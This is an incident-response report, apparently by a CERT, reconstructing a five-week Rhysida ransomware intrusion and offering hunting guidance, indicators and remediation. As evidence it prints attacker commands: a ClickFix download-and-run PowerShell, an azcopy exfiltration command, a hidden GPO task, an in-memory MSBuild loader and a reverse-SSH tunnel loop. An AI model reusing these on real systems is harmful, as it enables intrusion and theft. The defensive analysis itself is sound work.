Five Weeks in the Dark

One pasted command. Thirty-six days. About 3 TB gone, 219 identities disabled, and Rhysida ransomware on the last night.

Five weeks in the dark: a calendar of the 36-day Rhysida intrusion, from a ClickFix paste on Day 0 to 219 accounts disabled on Day 35 and the network cut on Day 36.
We have redacted the victim organisation, its group companies, hosts, users, internal addresses and the compromised third-party website, and we have changed the victim’s sector, job roles and other incidental details so the case cannot be traced back. Attacker infrastructure is defanged. Days are numbered from the first compromise (Day 0), and clock times are UTC. Evidence excerpts are abridged and anonymised. Grades: H confirmed by evidence we hold, M strongly inferred.

The case at a glance

A scientist looked up the day’s lunch menu, landed on a legitimate website that had been tampered with to show a fake verification page (a technique called ClickFix), and pasted the command it asked for into the Run dialog. An hour later a fake Windows password prompt had captured their domain credentials. Over five weeks the intruder tunnelled in through their laptop, reached Domain Admin and the plant-floor network, and uploaded roughly 3 TB to attacker-owned Azure storage. On the final night a rogue cloud application disabled 219 identity objects, including the emergency (break-glass) admin account, and Rhysida ransomware began to deploy. A ransom note was dropped and a NAS was encrypted, but only a few files were affected. The client cut the network at 05:13 the next morning.

36
days of dwell time
~3 TB
exfiltrated
219
identities disabled
Rhysida
ransomware family
ClickFixpasted command Fake promptpassword stolen Tunnel + DAAD, SQL, OT Exfil ~3 TBto Azure Lights out219 identities Day 0entry Day 2 to 6pivot Day 6 to 83 TB upload Day 35impact Day 36network cut
Figure 1. The attack chain over thirty-six days.

Part 0 · TimelineThirty-six days at a glance

DayTime (UTC)EventGrade
009:26–09:53ClickFix page served to seven employees on the compromised site, and one runs the command (09:47:38).H
010:49A fake Windows credential prompt captures the scientist’s domain password.H
211:16–14:32The laptop, at home on the corporate VPN, is turned into a tunnel into the network. The first upload to the attacker’s cloud storage is 12 GB of product specifications.H
612:41First use of a Domain Admin account. How it was obtained is the one link we did not prove.M
6–821:52 → 00:57Seven servers upload about 3 TB to attacker Azure storage, one after another, in 27 hours.H
1516:06A malicious Group Policy Object appears in SYSVOL, carrying an immediate task filtered to the three IT administrators’ PCs.H
1600:39–13:52Scheduled tasks on a domain controller take shadow copies holding the SECURITY hive and ntds.dit.H
22from 11:55The GPO’s payload triggers and the first command-and-control sessions start from the administrators’ PCs.H
2916:48–17:10A single-factor cloud sign-in from an attacker-controlled address, then a rogue application is registered with directory-write and role-management permissions.M
30–35variousA tunnel kit is pushed to endpoints as attacker-created Intune applications, and redelivered until the last night.H
3521:12–21:29A rogue cloud application disables 219 identity objects, the break-glass account among them.M
3521:21–21:37Remote commands fan out from the domain controller to the main servers, and Rhysida ransomware begins to deploy.H
36~02:00A NAS is encrypted. The client finds it three weeks later.M
3605:13The client isolates the network.H

Part 1 · Initial accessA lunch menu and a pasted command

The first machine compromised belonged to a scientist in the R&D group, with no admin rights. On the morning of Day 0 they searched for the local catering company to check the lunch menu and opened its website, which many employees visit daily. That morning the site had been compromised and was showing visitors a fake verification page.

This is ClickFix (T1204.004), a page that looks like a CAPTCHA or an error message and tells the visitor to press Win+R, Ctrl+V and Enter. The page has silently copied a command to the clipboard, so the visitor ends up running it themselves. Seven employees were shown the page between 09:26 and 09:53. One of them ran the command.

Browser history and firewall flows let us rebuild the lure chain. The compromised site loaded a script from a third-party domain, which drew the fake page and fetched the command. The same script has been seen on other hacked sites:

hxxps://[compromised-site]/
│  legitimate site, injected for ~45 min on Day 0
└─ hxxps://appservice-platform[.]net/js/all.min.js
   │  67 KB injected script
   │  SHA256 d6a746858c8363be64bf9ee08fe0c9062f37021d230e98005044b185e7769836
   ├─ /first_allow_host
   └─ /get_verify?i=<victim id>
         serves the payload zip the pasted command downloads; 404 to scanners
EVIDENCE Chrome history of three of the seven visitors, firewall flows, public urlscan results

ClickFix does not go through email, so an email gateway has nothing to scan. We recovered the exact command from the laptop’s PowerShell history. Note the fake success messages (one in green), and the “Cloudflare ID” that is really the folder it unpacks into:

$url='hxxps://appservice-platform[.]net/get_verify?i=<victim id>';
$zip="$env:TEMP\verify_pkg.zip";
$dest='C:\ProgramData\f9226464c7e9d000';
(New-Object Net.WebClient).DownloadFile($url,$zip);
Write-Host "[OK] CloudFlare Services respond" -ForegroundColor Green;
Expand-Archive $zip -DestinationPath $dest -Force;
cmd /c "`"$dest\1.bat`" `"$dest\LockScreenContentServer.exe`" &";
Write-Host "I am not a robot - Cloudflare ID: f9226464c7e9d000"
EVIDENCE PowerShell console history · payload download 09:47:38 · first C2 beacon 09:47:52

The dropped file, LockScreenContentServer.exe, is a genuine, older Microsoft-signed binary with no malicious code. It imports dui70.dll, and the implant is a malicious dui70.dll placed in the same folder, which Windows loads instead of the system copy (DLL side-loading, T1574.002). That DLL is the loader. On each start it downloads three PNGs from hxxps://bestsocialmedianewspapper[.]com/api/<token>?filename=<rand>.png, extracts hidden data from them (steganography, T1027.003), gets back a fresh copy of the signed executable and two ~1 MB parts, joins the parts into the implant DLL, loads it in memory and relaunches from a fresh WindowsLogonKeyManager_<random> folder; it did this eight times in six days. The first call to its command-and-control server came fourteen seconds after the download. We never recovered the malicious DLL, only the signed executable, the loader’s log and nine crash dumps that show it loaded from those folders.

LockScreenContentServer.exe  SHA-256 de9d325a...c09fa2   signed: Microsoft Windows
CSlideshowServerFrame::ShowModal

14000410d  48 8d 15 ec be ff ff   LEA   RDX,[0x140000000]
140004114  b9 0e 00 00 00         MOV   ECX,0xe
140004119  48 ff 15 d0 24 00 00   CALL  qword ptr [DUI70.DLL::InitProcessPriv]  ; import slot 0x1400065f0

// decompiled
iVar3 = InitProcessPriv(0xe, &IMAGE_DOS_HEADER_140000000, 1, 1, 1);
Figure 2. The signed binary’s import of dui70.dll, in Ghidra.
Fake pagecopies a commandto the clipboardPowerShelldownloads a zipand unpacks itFoldersigned exe + 1.batscheduled taskSide-loadexe loadsdui70.dllLoader DLLfetches 3 PNGsextracts data from themImplantparts joined,run in memoryfresh folder each time, 8 relaunches in 6 days
Figure 3. From the pasted command to the in-memory implant.
Defender saw part of it. On Day 12 it raised Trojan:Win64/DLLHijack.DAB!MTB eleven times on the laptop in four hours, four re-detections of the side-loaded DLL and seven fresh attempts from new folders. Nothing was contained. The implant’s scheduled task was still running when we collected the laptop on Day 39, and on Day 6 the side-loading reached two servers, minutes after WinRM sessions with the Domain Admin account, and ran there as SYSTEM.

Part 2 · Credential accessA fake Windows password prompt

The credential theft needed no tooling. From 10:17 on Day 0 the implant showed a fake Windows credential dialog until the user typed their password correctly at 10:49:03 (T1056.002). The prompt logged the result to a public folder:

C:\Users\Public\test.txt
10:17         prompt displayed to the user
10:49:03      SUCCESS - Correct credentials: <DOMAIN>\<user>     (password logged in clear text)
EVIDENCE Laptop file collection, Day 39. The captured value is not reproduced here.

From here on the attacker used valid credentials and legitimate tools. We found no exploit anywhere in the chain.

Windows SecurityYour credentials are required to continue.<DOMAIN>\<user>••••••••••CancelOKDrawn by a process the implant controls,styled as a system dialogShown again until the domain accepts the password10:17 to 10:49:03Each result is written to a file in a public folder,the password in clear text
Figure 4. Reconstruction of the forged prompt (redrawn, not a screenshot) and what the evidence tells us about it.

Part 3 · PivotA tunnel through the laptop

On Day 2 the laptop was at home, on the corporate VPN. The attacker made it open a connection out to a server of their own and used that connection to reach back in. That is a reverse SSH tunnel (T1572): the laptop relayed the attacker’s traffic into the LAN, and the VPN saw only an employee working from home. The tunnel client kept a verbose log, which gave us every connection it relayed, 12,968 of them to 558 destinations.

Attacker C2 / SOCKS corporate network R&D laptop laptop, on VPN reverse SSH Active Directory SQL, 7 servers File shares OT / plant floor
Figure 5. The VPN authenticated the scientist’s account; the attacker’s traffic rode inside that session.
WhenWhat the tunnel log shows
Day 2, 11:20–11:44Directory reconnaissance against both DCs (DNS, Kerberos, LDAP/LDAPS, GC, RPC, ADWS) and SQL on 1433 against seven servers, 87 connections to one of them.
Day 2, 11:48–13:07SMB to the file servers, then a port scan of about 90 internal hosts.
Day 6, 08:57–09:08SMB sweep of about 120 client PCs, and the last relayed connection reaches two gateway servers at 09:08:13.

The plant floor was probed early. On Day 0 the laptop already made SMB and RPC connections to the OT servers, on Day 1 it enumerated the shares of every OT server with the scientist’s own account, and on Day 6 the tunnel carried a scan of 22 OT hosts, one RDP session and one WinRM session.

On Day 2 the scientist’s account was used to copy the configuration file and the encryption key of the victim’s network-documentation platform from a file share to the attacker’s cloud storage. The AzCopy job logs on the laptop show the exact paths, and earlier the tunnel had carried 87 connections to the SQL server behind the platform. Why that account could read the share is not in the evidence we hold. The platform stores the privileged credentials it uses to inventory the estate, so the database and the key together would give up the vault. That is our leading explanation for the Domain Admin account first used four days later, on Day 6. We could not prove it.

Part 4 · Exfiltration3 TB to the cloud

Domain Admin appeared on Day 6, and that same evening the attacker began taking the data. Between 21:52 that day and 00:57 on Day 8 they worked through seven servers and took about 3 TB. Each server went through the same three steps, 30 to 40 minutes apart, all with legitimate tools, most of them signed by Microsoft:

  1. Pull the tool: azcopy.exe (~28 MB), downloaded from GitHub by servers that had never used GitHub.
  2. Make a fresh backup: on SQL servers, sqlcmd as SYSTEM, minutes before upload.
  3. Upload: azcopy.exe as SYSTEM, 32 to 80 parallel TLS connections to Azure East US while the victim’s own backups stayed in another region (T1567.002).

Hours before the first upload, on one SQL server, the attacker ran Test-NetConnection <account>.blob.core.windows.net -Port 443 against the exact storage account that later received the data, so the destination was ready before the first upload. Both of the attacker’s storage accounts were deleted before we arrived, but netflow, SRUM, MFT timestamps and, for the file server, the attacker’s own AzCopy job log survived. The command authenticates with a SAS token inside the URL (signature redacted):

azcopy copy D:\* ^
  "https://<attacker-account>.blob.core.windows.net/<container>/fileserver1?sp=racwdli&st=...&se=...&sr=c&sig=<redacted>" ^
  --recursive=true

Run as             SYSTEM, Day 7 02:10:45
Files queued       735,186
Files uploaded     247,512
Bytes transferred  1,274,769,775,378   (1.27 TB)
Elapsed            1,366.8 min
Final Job Status   Cancelled           (Day 8 00:56:55)
EVIDENCE AzCopy job log (524 MB) recovered from the file server, Day 39. The link’s start time, which whoever creates it sets, is the morning of Day 6, hours before the Domain Admin account was first used.

What left the building

SQL-A~1.47 TB
File server1.27 TB*
ERP~195 GB
SQL-C~23 GB
SQL-D~13 GB
Laptop (Day 2)12 GB*
SQL-E~11 GB
SQL-F~3.4 GB

* Exact, from a recovered AzCopy job log (file by file). Other volumes are netflow estimates calibrated against that exact count (±15%).

The job log lists what the file server gave up before the job was cancelled a third of the way through. We hold the list, not the files, so content is inferred from folder names:

Folder categoryFiles uploaded
HR and payroll47,970
Department and finance shares (incl. accounting)46,813
ERP document archive37,354
Quality-lab database24,635
Bank payment files4,414
Other folders86,326

The SQL servers gave up the full database backups the attacker had just made. The first 12 GB, taken from the laptop on Day 2, was product specifications and process parameters. Its link has a start time of 10:54 on Day 0, five minutes after the password was captured, which suggests the destination was prepared within minutes of the credential theft.

Laptop, Day 212 GB1 ERP~195 GB2 SQL-E~11 GB3 SQL-F~3.4 GB4 SQL-C~23 GB5 SQL-A~1.47 TB6 SQL-D~13 GB7 File server1.27 TBAttacker storageAzure, East UStwo accounts, since deleted
Figure 6. Where the data went. Line width is proportional to volume. The numbers give the upload order, 30 to 40 minutes apart. The laptop upload happened on Day 2.

The credential base. On Day 16 six scheduled tasks appeared on a domain controller within fifteen hours, and shadow-copy stores appear seconds after the first and fourth:

Day 16 (UTC)TaskReadingGrade
00:39:08SecVssShadow copy 4 s later, taking the SECURITY hive (LSA secrets)H
10:46 / 10:49TrafDc, ActDcPurpose unknownM
13:52:43VssNtdsSecond shadow copy (9.7 GB, still present on Day 37) holding ntds.ditH
14:55 / 15:07SplitNtds, Split1mbThe copy split into 1 MB pieces for transferM

Harvester and keylogger tasks followed on a dozen servers and 20+ workstations (T1555, T1056.001). The keylogger’s collector was one of the victim’s own compromised servers, listening on port 8787.

The malicious GPO. On Day 15 a Group Policy object appeared in SYSVOL carrying an immediate task, filtered to exactly three computers, the PCs of the three IT administrators (T1484.001). The first C2 sessions from those PCs appeared on Day 22.

<ImmediateTaskV2 name="Windows Time Inventory" ...>
  <Properties action="C" runAs="NT AUTHORITY\System" ...>
    <Description>Windows Time service component inventory</Description>
    <Hidden>true</Hidden>  <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Command>C:\Windows\System32\cmd.exe</Command>
    <Arguments>/c copy /y C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\ProgramData\Microsoft\NetFramework\st.exe && st.exe -NoProfile -ExecutionPolicy Bypass
      -WindowStyle Hidden -File \\<domain>\SYSVOL\<domain>\scripts\w32time\recon.ps1</Arguments>
  <Filters>  FilterComputer name="<admin-PC-1>"  OR "<admin-PC-2>"  OR "<admin-PC-3>"  </Filters>
EVIDENCE ScheduledTasks.xml recovered from SYSVOL. The renamed powershell.exe (st.exe) evades name-based rules.

recon.ps1 downloads a second stage that polls an HTTPS endpoint every 90 seconds for commands (T1071.001). A second file in the folder is an MSBuild project with an inline C# task:

var b = Convert.FromBase64String(File.ReadAllText(@"C:\ProgramData\Microsoft\NetFramework\mscorlib.dat"));
for (int i = 0; i < b.Length; i++) b[i] = (byte)(b[i] - 7);    // base64, then subtract 7 from every byte
var asm = Assembly.Load(b);                                      // run the assembly in memory, on its own thread
EVIDENCE load_xor.proj, abridged. The payload sits on disk as a 3 MB blob under a .dat name, and on the attacker side it was served as a web font.

Decoded, the payload is a two-stage loader ending in Apollo, the .NET agent of the Mythic framework. One of its modules submits Kerberos tickets straight into the LSA cache, which explains logons we could not otherwise place. On Day 35, at 21:25:19–24, an ERP server recorded five of them:

EventID 4624   LogonType 3   AuthenticationPackage Kerberos   ElevatedToken Yes   Impersonation
Subject:   Security ID S-1-0-0   Account Name -   Logon ID 0x0
New Logon: Account Name <domain-admin>   Logon ID <unique per event>
Network:   Workstation Name -   Source Network Address -   Source Port -   Process Name -
EVIDENCE Five events in five seconds, each logged off within seconds. A real network logon normally carries a source address.

Forged tickets and the CA. A golden ticket appeared on Day 27 and ten-year silver tickets a week later (T1558), and resetting user passwords does not invalidate them: golden tickets need the krbtgt key rotated twice, silver tickets a new key for the service account they target. The Enterprise CA had to be assumed compromised, since the attacker had SYSTEM on it. No trace of a key export turned up, but the logs that would have recorded one do not exist, so we could neither prove nor exclude it.

Some questions have no answer, because the only domain controller we received was a restore with a logging gap across the impact window.
GPO in SYSVOLimmediate task,SYSTEM, hiddencmd.execopies PowerShellto st.exerecon.ps1run from SYSVOLSecond stagedownloaded,polls every 90 sMSBuild projectinline C# taskApollo agentdecoded, runin memoryfilter: three computers, the PCs of the IT administrators
Figure 7. The chain started by the malicious GPO, from a SYSVOL task to the in-memory agent.

Part 6 · PersistenceA second tunnel kit, delivered by Intune

From Day 30, a day after the cloud foothold described in Part 7, the attacker added a second way back in. Over Days 30 to 35 they used Intune to push a tunnelling kit as two applications created in the victim’s own tenant (T1072), a public tunnelling tool and a launcher script with an SSH key. Intune ran them as SYSTEM, so the kit left no logon trail. Defender quarantined the tool on Day 30 on both hosts we examined, but the launcher ran on one of them, as the package cache and the Prefetch counts show:

C:\Windows\IMECache\<app-1>_2\chisel.exe          VirTool:Win64/Chisel, quarantined (11,954,176 B)
C:\Windows\IMECache\<app-2>_6\  install.cmd  revloop.cmd  <key>
C:\Windows\IMECache\<app-2>_7\  install.cmd  revloop.cmd  <key>
C:\Windows\IMECache\<app-2>_8\  install.cmd  revloop.cmd  <key>     third redelivery, last on Day 35

Prefetch  CMD.EXE (32-bit): 19 runs    SCHTASKS.EXE (32-bit): 9 runs     same timestamps
Day 31    11:52:04  15:16:15  15:54:23  16:05:23  16:22:25  17:45:32  22:14:23
Day 35    22:19:09
EVIDENCE Velociraptor triage of two endpoints. No attacker logon in the window, only the host’s service account and an IT administrator over RDP.

The suffixes are three redeliveries of one package, and the matching timestamps are install.cmd registering its scheduled task again and again. The launcher restarts the tunnel every 10 seconds:

:loop
ssh.exe -N -T -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ^
  -i C:\ProgramData\sshrev\<key> -p 56777 ^
  -R 0.0.0.0:<port>:<backup-server>:445   -R 0.0.0.0:<port>:<backup-server>:3389 ^
  -R 0.0.0.0:<port>:<backup-server>:9392  -R 0.0.0.0:<port>:<vcenter>:443 ^
  -R 0.0.0.0:<port>:<domain-controller>:389  ... 16 forwards in total ^
  root@<redirector>
timeout /t 10 /nobreak >nul
goto loop
EVIDENCE revloop.cmd, abridged. It publishes the backup servers, the virtualisation management plane and a domain controller through the tunnel.

Cleaning the endpoints does not remove the kit: Intune redelivers it. Delete the application and its assignment, and review the audit log for who created them and which devices they targeted.

Attackercreates two appsTenant2 Win32 apps+ assignmentDevice on thecorporate networkDevice off thenetwork (home, mobile)IME cacheruns as SYSTEMinstall.cmdTask + tunnelreverse SSH tothe attackerredelivered three times (_6, _7, _8), last on Day 35
Figure 8. Delivery through endpoint management. Devices off the corporate network received the same assignment.

Part 7 · ImpactThe last night

The attacker prepared the cloud side six days before the impact:

WhenEventGrade
Day 29, 16:48First successful sign-in to a user account from an attacker-controlled address, through the Azure AD PowerShell client with a single-factor password and no MFA challenge.M
Day 29, 17:10An application registration named like an IT utility is created. It is granted nine app-only Graph permissions, including Directory.ReadWrite.All and RoleManagement.ReadWrite.Directory.M
Day 35, 18:57–19:05The application revokes the sessions of an IT administrator twice.M
Day 35, 21:12–21:29The application disables 219 objects: users, shared mailboxes, rooms, guests and the break-glass (emergency admin) account. At 21:27 it updates about 65 application registrations, possibly adding secrets.M

Grade M: these rows come from a third-party cloud forensic report. We had not received the raw tenant logs when we wrote this.

In the same minutes, using a Domain Admin account, the attacker ran commands from the domain controller on the main servers (21:21–21:37). A reverse tunnel, this time from a server of the backup system, had been open since 20:44. At 05:13 the next morning the client isolated the network at the firewall.

Rhysida ransomware was deployed alongside these actions. A ransom note was dropped. Around 02:00 a NAS was encrypted, which the client found only three weeks later and which we did not collect. A few files were affected. We hold no evidence of how the encryptor was deployed.

Part 8 · Attacker infrastructureThe attacker’s server

Incident response usually stops at the edge of the victim’s network. The attacker’s servers stay out of sight, and their half of the story has to be inferred from what arrived. Not this time. From Day 10 onward, most of the intrusion called home to a single server. On Day 41 a copy of it was preserved: its logs, its configuration and the operator’s staging directories. Two days later we collected a VPN appliance belonging to one of the victim’s group companies. Together they turned several of our inferences into facts, and showed us a door into the estate we had not known was open.

One server, several victims

The server was a rented virtual machine, set up on Day 10 as a redirector. It hosted nothing of its own and routed each request by URL path to one of three back-end servers or to one of two local services:

location /          →  back end A :80     implant check-ins and file transfer   default from Day 23
location /data      →  back end B :80     an older agent family
location /tunnel    →  back end C :443    labelled for this intrusion, never used
location /up/       →  127.0.0.1:8443     upload sink, a small Python server
location /dl/       →  /var/www/dl        tool drop, and the tasking file the 90-second poller read
EVIDENCE nginx site configuration on the redirector, abridged and paraphrased. The original comments are in Russian.

Every reverse tunnel ended up listening on the server’s loopback interface, even where the launcher asked for 0.0.0.0, so the victim systems they exposed could be reached only from a shell on the server. Later the operator added the chisel server meant for the Intune kit’s chisel binary (quarantined on the two hosts we examined), an OpenVPN client and SMB tools.

Our victim was one tenant among several. The same paths served at least nine other addresses on four continents, including a separate kit with its own campaign name that a machine in Europe pulled down on Day 38. On Day 36, eleven hours after our victim cut its network, the operator disabled the paths used against it and moved their content into a folder named burned_ and the date. The server went on serving the others until the day it was preserved.

The same server ran several unrelated campaigns, so a redirector address in your logs does not tell you which actor or campaign you are dealing with.

The group company’s VPN appliance

The staging directory held a folder that did not belong to our victim at all: the complete certificate infrastructure of an OpenVPN appliance that a group company runs in the cloud for its remote sites. It held the certificate authority with its private key, the static TLS key, connection profiles and four client key pairs copied from real sites.

The appliance showed how. When we collected it on Day 43 it carried two implants, one named after the kernel log daemon and a reverse tunnel to a relay already in our indicator list. Both were installed on Day 29 between 22:01 and 22:38, minutes after an operator SSH key was added for root, on the same evening the rogue cloud application of Part 7 was registered. At 22:08 the appliance’s own address requested /mythic, /c2/ and /graphql from the redirector: the operator testing the line home. With root, the operator could copy the appliance’s certificate directory, nearly 300 identities. How the operator first got onto it is still open.

The redirector’s own VPN client log shows what came next:

Day 31 (UTC)EventGrade
18:52First attempts. The client refuses the appliance’s old SHA-1 certificate authority as too weak, and the operator lowers its security level.H
19:01A certificate is signed with the stolen authority under the operator’s own alias. The appliance rejects it.H
19:10–19:46Three cloned site identities are tested in short sessions.H
19:46 → Day 37, 15:11One cloned identity is held: 1,328 sessions, 69.5 hours connected, about 13 MB moved, until the appliance stopped answering.H

The appliance rejected the forged certificate because it only admits identities it already has on file, so the operator used cloned real ones. Nothing tied an identity to where it normally connects from, and the redirector’s address sits in the appliance’s log under each cloned identity, beside the real site’s own addresses. Revoking the four copied certificates would not have been enough. A certificate authority is not bound to an address, and whoever holds its private key can issue a fresh certificate for any accepted identity, from anywhere, with a serial number no revocation list has seen.

Operatorroot, every 26 sRedirectorroutes by URL pathSSH on one high portbuilt on Day 10Implants, pollersHTTPS, by URL pathReverse tunnelsSSH, loopback onlyOther victimssame paths, other kitsThree back endsC2, by path/up/ and /dl/upload sink, tool dropGroup company VPNcloned identitiesDay 36: this victim’s paths burned · Day 41: still serving other victims
Figure 9. The attacker’s redirector, and the access it gave to the group company’s VPN.

What the server’s records answered

Questions the victim’s evidence left open, and what the server showed:

QuestionVictim sideThe actor’s recordsGrade
Forged ticketsFive logons on Day 35 with every source field emptyThe ticket file, uploaded on Day 27 at 14:54–14:57 beside the tool that injects itH
DPAPI backup keyShadow copies took the SECURITY hive and ntds.dit, where the domain backup key is storedThe key itself, a job that used it on 15 users’ master keys, and a SYSTEM hive downloaded on Day 35H
The 90-second pollerCheck-ins from the administrators’ PCs, content unknownThe tasking file: one administrator’s SSH keys, password vault, DPAPI secrets and browser credentials. That administrator held root across the Linux estate.H
The tunnelsThe forwards listed in the launcherUp from Day 31 04:21 to Day 36 05:13, about 180,000 reconnects of the 10-second loop, summed across the six devices running the kitH
The kit off the networkTwo endpoints examinedThe kit’s key reconnecting from mobile and home broadband on Days 37 to 41, one session still open on Day 41H

They did not settle everything. Two symmetric transfers crossed the server on Day 33, about 470 MB and 130 MB each way, and nothing on either side says what they carried.

The group company had to retire its certificate authority and reissue every identity with a new TLS key. The krbtgt and DPAPI backup keys were now proven stolen and needed separate remediation: a double rotation for krbtgt and, since the DPAPI backup key has no supported rotation, treating every secret it protects as exposed. Laptops still carrying the tunnel kit were found from the server’s log and cleaned, everything in the tasking file was rotated, and the Linux estate the targeted administrator ran was hunted end to end: one reconnaissance probe in five weeks, and nothing else.

Detection and huntingBehaviours to hunt for

Domains and hashes change quickly; these behaviours last longer. Check each one against normal activity in your environment before alerting on it.

  • Execution: powershell.exe started by explorer.exe with a download in the same minute, and the pasted command in RunMRU.
  • Repeated detections: the same Defender detection on one host many times in a morning, especially DLLHijack from random-named ProgramData folders.
  • Tunnelling: ssh.exe -R on workstations or servers, tasks that restart an SSH client in a loop, outbound SSH on odd ports, and a local listener relaying to an external host over TLS.
  • Intune: new Win32 apps or assignments outside change windows, and .cmd launchers and key files in IMECache.
  • Exfiltration: azcopy.exe pulled from GitHub by a server that never uses it, or run from C:\Users\Public, plus Azure Storage traffic to a region your backups do not use.
  • Domain controllers: new tasks that create shadow copies, ten-year ticket lifetimes, and type-3 Kerberos logons with every source field empty (baseline first: some legitimate services log these too).
  • GPO: an immediate task in SYSVOL that copies powershell.exe to a new name for a handful of computers, and MSBuild.exe loading a .proj from SYSVOL or ProgramData.
  • Tenant: an app granted directory-write and role-management permissions, bulk disables, and dozens of app registrations changed in a minute.

ReferenceMITRE ATT&CK

Confirmed (H) or strongly inferred (M).

TacticTechniqueIDObserved asConf.
Initial AccessDrive-by CompromiseT1189Compromised caterer websiteH
Initial AccessExternal Remote ServicesT1133Cloned certificates on the group company’s VPN applianceH
ExecutionUser Execution: Malicious Copy and PasteT1204.004ClickFix overlayH
ExecutionSoftware Deployment ToolsT1072Attacker-created Intune applications run as SYSTEMH
PersistenceScheduled Task/Job: Scheduled TaskT1053.005Implant, keylogger and harvester tasksH
PersistenceValid Accounts: Cloud AccountsT1078.004Single-factor sign-in through the Azure AD PowerShell clientM
PersistenceCreate Account: Domain AccountT1136.002vbackup, created during the intrusion and added to Domain Admins on Day 30H
Privilege EscalationValid Accounts: Domain AccountsT1078.002Domain Admin from Day 6, origin of the credential unprovenM
Defense EvasionHijack Execution Flow: DLL Side-LoadingT1574.002Signed Microsoft binary loading a malicious dui70.dllH
Defense EvasionSteganographyT1027.003Implant DLL assembled from PNG filesH
Defense EvasionDomain Policy Modification: GPOT1484.001Hidden “Windows Time” immediate taskH
Defense EvasionTrusted Developer Utilities: MSBuildT1127.001Inline C# task decoding a payload in memoryH
Defense EvasionMasquerading: Rename System UtilitiesT1036.003powershell.exe copied to st.exeH
Credential AccessGUI Input CaptureT1056.002Fake Windows credential promptH
Credential AccessOS Credential Dumping: NTDS / LSAT1003.003/.004Shadow-copy tasks, hives, ntds.ditH
Credential AccessSteal or Forge Kerberos TicketsT1558.001/.002Golden ticket and ten-year silver ticketsH
Credential AccessCredentials from Password StoresT1555Harvester tasks on servers and workstationsH
CollectionInput Capture: KeyloggingT1056.001Keylogger on port 8787H
Command and ControlProtocol TunnelingT1572Reverse SSH SOCKS tunnel, 12,968 relayed connectionsH
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001HTTPS polling every 90 s (GPO second stage)H
ExfiltrationExfiltration to Cloud StorageT1567.002AzCopy to attacker Azure storageH
ImpactAccount Access RemovalT1531219 identity objects disabled by a rogue applicationM
ImpactData Encrypted for ImpactT1486Rhysida ransomware, a ransom note and an encrypted NASH
InitialAccessT1189ExecutionT1204.004T1072PersistenceT1053.005Priv.EscalationT1078.002DefenseEvasionT1027.003T1484.001T1127.001T1574.002CredentialAccessT1056.002T1003.003/.004T1558.001/.002Commandand ControlT1572ExfiltrationT1567.002ImpactT1531T1486confirmedstrongly inferred
Figure 10. The main techniques of this case on the ATT&CK matrix, coloured by confidence.

ReferenceIndicators of compromise

Attacker infrastructure and artefacts only; victim and third-party indicators are withheld. Use them to search older logs.

IndicatorRoleLifetime
appservice-platform[.]net (45.66.248[.]222)ClickFix script and payload hostExpiring
bestsocialmedianewspapper[.]com, offlineupdater[.]com, ourpersonalsecurity[.]com, publicnewspapper[.]comPNG host and implant C2 (from crash dumps)Expiring
gitnow[.]dev, goodfoodrecipients[.]com, languageupgrader[.]com, firstapphelp[.]comPython tunnel client C2Expiring
oblivane[.]com (cdn., static.)Redirector, GPO second stage, and upload and download endpointsExpiring
sessionbridgeex[.]comTLS-wrapped SSH tunnel (impact night)Expiring
101.99.92[.]128:20203, 91.236.230[.]122:443, 194.213.18[.]54:443Reverse-tunnel endpointsExpiring
146.19.143[.]119 → 54.38.220[.]85HTTPS C2 (rotated Day 30)Expiring
82.38.63[.]150Primary operator addressExpiring
Host indicatorRole
all.min.js (67 KB)
d6a746858c8363be64bf9ee08fe0c9062f37021d230e98005044b185e7769836
Injected ClickFix script
LockScreenContentServer.exe (49,720 B)
de9d325af3156232c34916840210efb5706d6e6a5eba1827c8240e4f71c09fa2
Legitimate Microsoft-signed binary abused as the side-loading host (the malicious dui70.dll was not collected); hunt for it outside System32, not by hash alone
f.woff2 (3,132,076 B)
76ec78e2c90e9121a933181ac6abec94759ec2350401b9cfaabb1be7e7823427
GPO payload disguised as a web font (Apollo loader)
InputSyncSvc.exe (8,192 B)
f57236a509751be344425bc4914a3268c03d854ce08281e08783c38c7dfc1b4c
Downloader and stager
revloop.cmd (839 B)
b0b48f97199998a8cf9afcf66f4fd9cb17ffb7642069c90707e6093a0a6caf14
Reverse-SSH launcher (loops every 10 s)
C:\ProgramData\f9226464c7e9d000\, WindowsLogonKeyManager_*, WindowsLogonKeyManager.logImplant folders and loader log
C:\ProgramData\ShService\ (harvest.ps1, r.ps1, key, sh.txt), odhsvc.exeTunnel, harvester, keylogger
C:\ProgramData\Microsoft\NetFramework\ (st.exe = renamed powershell.exe, c2.ps1, mscorlib.dat)GPO-delivered loader staging
Tasks SysyService, MassHarv, OdHealth, SecVss, VssNtds, “Windows Time Inventory”Persistence and credential theft
Domain account vbackupCreated by the attacker, added to Domain Admins on Day 30
Intune Win32 applications delivering chisel.exe and install.cmd + revloop.cmd + SSH keyTunnel kit delivery

TakeawaysWhat we’d change

  1. Restrict the Run dialog. Disable Win+R where staff do not need it, and tell them that no real CAPTCHA asks them to paste a command. Newer ClickFix variants use Win+X, Terminal or the Explorer address bar instead, so also alert on what Explorer launches.
  2. Use phishing-resistant MFA everywhere. On Day 29 a password alone was enough for a cloud sign-in through the Azure AD PowerShell client. Enforce phishing-resistant MFA through Conditional Access for every client, legacy ones included.
  3. Act on repeated detections. Defender flagged the implant eleven times in four hours, and it stayed another four weeks.
  4. Filter outbound SSH. A laptop on the VPN should not be able to open a reverse tunnel. At home that takes a full-tunnel VPN or a host firewall rule, since split tunnelling bypasses the perimeter.
  5. Restrict access to your network-documentation platform. Its configuration and key files give up the credentials it stores.
  6. Treat Intune as tier 0. Whoever can create an Intune app can run code as SYSTEM on every enrolled device. Audit who can create and assign apps, and the assignments that exist.
  7. Protect the backup plane. The tunnel kit published a backup server’s SMB, RDP and management ports. Isolate backup servers and their console from the domain and from workstations.
  8. Shield the break-glass account. It was disabled by an application holding directory-wide permissions. Place it in a restricted management administrative unit, and alert on any change to it.
  9. Keep logs for months. Several questions in this case stayed open because logs rolled over in days.
  10. Rotate what a password reset does not cover. The krbtgt key (rotated twice), the service-account keys behind silver tickets, the domain DPAPI backup key (no supported rotation: treat what it protects as exposed) and a certificate authority you assume compromised each need their own remediation.

Stoïk CERT. Indicators are published to help defenders and should be validated before operational use.

For help with a suspected compromise or an urgent incident, contact the Stoïk CERT incident response team at cert@stoik.io.